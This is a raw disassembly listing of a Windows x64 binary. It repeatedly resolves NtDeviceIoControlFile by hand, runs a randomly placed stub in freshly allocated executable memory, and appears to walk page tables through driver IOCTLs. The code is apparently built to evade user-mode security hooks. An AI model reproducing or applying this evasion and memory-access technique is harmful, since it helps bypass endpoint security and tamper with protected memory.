add rsi, rdi
test r14, r14
je 0x14006bfe0
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006be23
inc rbx
cmp rbx, r14
jb 0x14006be00
jmp 0x14006bfe0
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006bfe0
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006bfe0
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6cdd4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6ba50]
call fcn.1400be1b0
lea rcx, [rbp + 0x6ba50]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x6ba50]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xccfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006bec0
mov r8d, 0x1000
lea rdx, [rbp + 0xccfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd90]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd90], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x5d0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x5d0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1190]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd90]
lea r9, [rbp + 0xd90]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x14006c293
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x5e8]
test rdx, rdx
je 0x14006c293
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006c265
cmp word [rax], bx
jne 0x14006c265
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006c265
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006c265
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006c265
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006c0b3
inc rbx
cmp rbx, r14
jb 0x14006c090
jmp 0x14006c265
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006c265
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006c265
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x25f34], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x24bb0]
call fcn.1400be1b0
lea rcx, [rbp + 0x24bb0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x24bb0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xcdfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006c143
mov r8d, 0x1000
lea rdx, [rbp + 0xcdfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xca4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xca4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x5d0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x5d0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1190]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xca4]
lea r9, [rbp + 0xca4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c293
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rsi, qword [rbp + 0xc38]
add rax, r13
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x14006a760
mov rax, qword [rbp + 0xc30]
jmp 0x14006c29e
xor eax, eax
lea rcx, [rax + 0x10]
mov qword [rbp + 0xc30], 0
xor eax, eax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x78], rax
mov qword [rbp + 0xc40], 8
nop dword [rax]
nop dword [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rcx
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x608], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x618], 0
movups xmmword [rbp + 0x11a0], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x5f8], 8
mov qword [rbp + 0x600], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006c58e
cmp word [rax], r14w
jne 0x14006c58e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006c58e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006c58e
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006c588
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006c3d3
inc rbx
cmp rbx, r14
jb 0x14006c3b0
jmp 0x14006c588
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006c588
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006c588
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x272c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x25f40]
call fcn.1400be1b0
lea rcx, [rbp + 0x25f40]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x25f40]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xcefe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006c463
mov r8d, 0x1000
lea rdx, [rbp + 0xcefe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd94]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd94], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x5f8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x5f8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x11a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd94]
lea r9, [rbp + 0xd94]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de25
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x610]
test rbx, rbx
je 0x14006de25
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006c819
cmp word [rax], r14w
jne 0x14006c819
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006c819
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006c819
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006c819
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006c654
inc rdi
cmp rdi, r15
jb 0x14006c630
jmp 0x14006c819
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006c819
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006c819
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x28654], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x272d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x272d0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x272d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xcffe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006c6f0
mov r8d, 0x1000
lea rdx, [rbp + 0xcffe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd98]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd98], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x5f8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x5f8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11a0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd98]
lea r9, [rbp + 0xd98]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006de25
test bl, 1
je 0x14006de25
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x630], 0
xor edx, edx
mov qword [rbp + 0x638], 0
xorps xmm0, xmm0
mov qword [rbp + 0x640], 0
movups xmmword [rbp + 0x11b0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x620], 8
mov qword [rbp + 0x628], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006caee
cmp word [rax], r14w
jne 0x14006caee
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006caee
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006caee
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006cae8
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006c933
inc rbx
cmp rbx, r14
jb 0x14006c910
jmp 0x14006cae8
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006cae8
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006cae8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x299e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x28660]
call fcn.1400be1b0
lea rcx, [rbp + 0x28660]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x28660]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd0fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006c9c3
mov r8d, 0x1000
lea rdx, [rbp + 0xd0fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd9c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd9c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x620]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x620]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x11b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd9c]
lea r9, [rbp + 0xd9c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de25
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x638]
test rbx, rbx
je 0x14006de25
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006cd79
cmp word [rax], r14w
jne 0x14006cd79
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006cd79
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006cd79
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006cd79
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006cbb4
inc rdi
cmp rdi, r15
jb 0x14006cb90
jmp 0x14006cd79
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006cd79
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006cd79
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x2ad74], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x299f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x299f0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x299f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xd1fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006cc50
mov r8d, 0x1000
lea rdx, [rbp + 0xd1fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xda0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xda0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x620]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x620]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11b0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xda0]
lea r9, [rbp + 0xda0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006de25
test bl, 1
je 0x14006de25
movzx eax, bl
shr al, 7
test al, 1
je 0x14006cda6
mov rcx, qword [rsp + 0x60]
movabs rax, 0xfffffc0000000
and ecx, 0x3fffffff
jmp 0x14006d891
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x658], 0
xor edx, edx
mov qword [rbp + 0x660], 0
xorps xmm0, xmm0
mov qword [rbp + 0x668], 0
movups xmmword [rbp + 0x11c0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x648], 8
mov qword [rbp + 0x650], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006d06e
cmp word [rax], r14w
jne 0x14006d06e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006d06e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006d06e
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006d068
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006ceb3
inc rbx
cmp rbx, r14
jb 0x14006ce90
jmp 0x14006d068
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006d068
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006d068
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x2c104], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2ad80]
call fcn.1400be1b0
lea rcx, [rbp + 0x2ad80]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x2ad80]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd2fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006cf43
mov r8d, 0x1000
lea rdx, [rbp + 0xd2fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xda4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xda4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x648]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x648]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x11c0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xda4]
lea r9, [rbp + 0xda4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de25
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x660]
test rbx, rbx
je 0x14006de25
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006d2f9
cmp word [rax], r14w
jne 0x14006d2f9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006d2f9
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006d2f9
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006d2f9
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006d134
inc rdi
cmp rdi, r15
jb 0x14006d110
jmp 0x14006d2f9
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006d2f9
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006d2f9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x2d494], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x2c110]
call fcn.1400be1b0
lea rcx, [rbp + 0x2c110]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x2c110]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xd3fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006d1d0
mov r8d, 0x1000
lea rdx, [rbp + 0xd3fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xda8]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xda8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x648]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x648]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x20], rax
call rdi
